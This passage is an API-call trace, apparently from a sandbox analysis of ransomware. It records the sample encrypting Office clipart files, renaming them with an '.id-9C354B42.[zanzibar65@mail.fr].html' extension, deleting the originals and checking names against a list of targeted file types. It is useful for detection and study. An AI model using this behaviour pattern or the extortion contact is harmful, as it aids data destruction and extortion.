Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0274.296] GetLastError () returned 0x0 [0274.296] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x16a6, lpOverlapped=0x0) returned 1 [0274.298] WriteFile (in: hFile=0x384, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x16b0, lpOverlapped=0x0) returned 1 [0274.298] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.299] WriteFile (in: hFile=0x384, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.299] SetEndOfFile (hFile=0x384) returned 1 [0274.299] CloseHandle (hObject=0x384) returned 1 [0274.299] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.299] SetEndOfFile (hFile=0x2f0) returned 1 [0274.301] CloseHandle (hObject=0x2f0) returned 1 [0274.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0274.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.301] lstrlenW (lpString=".doc") returned 4 [0274.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.301] lstrlenW (lpString=".docx") returned 5 [0274.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.301] lstrlenW (lpString=".pdf") returned 4 [0274.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.301] lstrlenW (lpString=".xls") returned 4 [0274.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.301] lstrlenW (lpString=".xlsx") returned 5 [0274.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.301] lstrlenW (lpString=".ppt") returned 4 [0274.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.302] lstrlenW (lpString=".zip") returned 4 [0274.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.302] lstrlenW (lpString=".rar") returned 4 [0274.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.302] lstrlenW (lpString=".bz2") returned 4 [0274.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.302] lstrlenW (lpString=".7z") returned 3 [0274.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.302] lstrlenW (lpString=".dbf") returned 4 [0274.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.302] lstrlenW (lpString=".1cd") returned 4 [0274.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.302] lstrlenW (lpString=".jpg") returned 4 [0274.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.302] lstrlenW (lpString=".doc") returned 4 [0274.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.302] lstrlenW (lpString=".docx") returned 5 [0274.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.302] lstrlenW (lpString=".pdf") returned 4 [0274.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.302] lstrlenW (lpString=".xls") returned 4 [0274.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.302] lstrlenW (lpString=".xlsx") returned 5 [0274.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.302] lstrlenW (lpString=".ppt") returned 4 [0274.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.302] lstrlenW (lpString=".zip") returned 4 [0274.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.303] lstrlenW (lpString=".rar") returned 4 [0274.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.303] lstrlenW (lpString=".bz2") returned 4 [0274.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.303] lstrlenW (lpString=".7z") returned 3 [0274.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.303] lstrlenW (lpString=".dbf") returned 4 [0274.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.303] lstrlenW (lpString=".1cd") returned 4 [0274.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0274.303] lstrlenW (lpString=".jpg") returned 4 [0274.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.303] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.303] lstrlenW (lpString="HH00546_.WMF") returned 12 [0274.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.304] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3718) returned 1 [0274.304] CloseHandle (hObject=0x2f0) returned 1 [0274.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0274.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.304] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.304] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0274.304] GetLastError () returned 0x0 [0274.304] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0xe86, lpOverlapped=0x0) returned 1 [0274.306] WriteFile (in: hFile=0x384, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xe90, lpOverlapped=0x0) returned 1 [0274.307] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.307] WriteFile (in: hFile=0x384, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.307] SetEndOfFile (hFile=0x384) returned 1 [0274.307] CloseHandle (hObject=0x384) returned 1 [0274.308] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.308] SetEndOfFile (hFile=0x2f0) returned 1 [0274.309] CloseHandle (hObject=0x2f0) returned 1 [0274.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0274.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.310] lstrlenW (lpString=".doc") returned 4 [0274.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.310] lstrlenW (lpString=".docx") returned 5 [0274.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.310] lstrlenW (lpString=".pdf") returned 4 [0274.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.310] lstrlenW (lpString=".xls") returned 4 [0274.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.310] lstrlenW (lpString=".xlsx") returned 5 [0274.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.310] lstrlenW (lpString=".ppt") returned 4 [0274.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.310] lstrlenW (lpString=".zip") returned 4 [0274.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.310] lstrlenW (lpString=".rar") returned 4 [0274.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.310] lstrlenW (lpString=".bz2") returned 4 [0274.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.310] lstrlenW (lpString=".7z") returned 3 [0274.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.310] lstrlenW (lpString=".dbf") returned 4 [0274.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.311] lstrlenW (lpString=".1cd") returned 4 [0274.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.311] lstrlenW (lpString=".jpg") returned 4 [0274.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.311] lstrlenW (lpString=".doc") returned 4 [0274.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.311] lstrlenW (lpString=".docx") returned 5 [0274.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.311] lstrlenW (lpString=".pdf") returned 4 [0274.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.311] lstrlenW (lpString=".xls") returned 4 [0274.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.311] lstrlenW (lpString=".xlsx") returned 5 [0274.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.311] lstrlenW (lpString=".ppt") returned 4 [0274.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.311] lstrlenW (lpString=".zip") returned 4 [0274.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.311] lstrlenW (lpString=".rar") returned 4 [0274.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.311] lstrlenW (lpString=".bz2") returned 4 [0274.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.311] lstrlenW (lpString=".7z") returned 3 [0274.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.311] lstrlenW (lpString=".dbf") returned 4 [0274.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.312] lstrlenW (lpString=".1cd") returned 4 [0274.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 63 [0274.312] lstrlenW (lpString=".jpg") returned 4 [0274.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.312] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.312] lstrlenW (lpString="HH00601_.WMF") returned 12 [0274.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.312] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=1468) returned 1 [0274.312] CloseHandle (hObject=0x2f0) returned 1 [0274.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0274.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.313] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.313] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.821] GetLastError () returned 0x0 [0274.821] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x5bc, lpOverlapped=0x0) returned 1 [0274.822] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0274.823] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0274.823] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.823] SetEndOfFile (hFile=0x2e0) returned 1 [0274.825] CloseHandle (hObject=0x2e0) returned 1 [0274.825] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.825] SetEndOfFile (hFile=0x2f0) returned 1 [0274.827] CloseHandle (hObject=0x2f0) returned 1 [0274.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0274.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.828] lstrlenW (lpString=".doc") returned 4 [0274.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.828] lstrlenW (lpString=".docx") returned 5 [0274.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.828] lstrlenW (lpString=".pdf") returned 4 [0274.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.828] lstrlenW (lpString=".xls") returned 4 [0274.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.828] lstrlenW (lpString=".xlsx") returned 5 [0274.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.828] lstrlenW (lpString=".ppt") returned 4 [0274.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.828] lstrlenW (lpString=".zip") returned 4 [0274.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.828] lstrlenW (lpString=".rar") returned 4 [0274.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.828] lstrlenW (lpString=".bz2") returned 4 [0274.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.828] lstrlenW (lpString=".7z") returned 3 [0274.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.828] lstrlenW (lpString=".dbf") returned 4 [0274.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.829] lstrlenW (lpString=".1cd") returned 4 [0274.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.829] lstrlenW (lpString=".jpg") returned 4 [0274.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.829] lstrlenW (lpString=".doc") returned 4 [0274.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.829] lstrlenW (lpString=".docx") returned 5 [0274.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.829] lstrlenW (lpString=".pdf") returned 4 [0274.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.829] lstrlenW (lpString=".xls") returned 4 [0274.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.829] lstrlenW (lpString=".xlsx") returned 5 [0274.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.829] lstrlenW (lpString=".ppt") returned 4 [0274.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.829] lstrlenW (lpString=".zip") returned 4 [0274.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.829] lstrlenW (lpString=".rar") returned 4 [0274.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.829] lstrlenW (lpString=".bz2") returned 4 [0274.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.829] lstrlenW (lpString=".7z") returned 3 [0274.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.829] lstrlenW (lpString=".dbf") returned 4 [0274.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.830] lstrlenW (lpString=".1cd") returned 4 [0274.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 63 [0274.830] lstrlenW (lpString=".jpg") returned 4 [0274.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.830] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.830] lstrlenW (lpString="HH01291_.WMF") returned 12 [0274.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.830] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=15806) returned 1 [0274.830] CloseHandle (hObject=0x2f0) returned 1 [0274.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0274.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0274.831] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.831] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0274.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0274.831] GetLastError () returned 0x0 [0274.831] ReadFile (in: hFile=0x2f0, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, 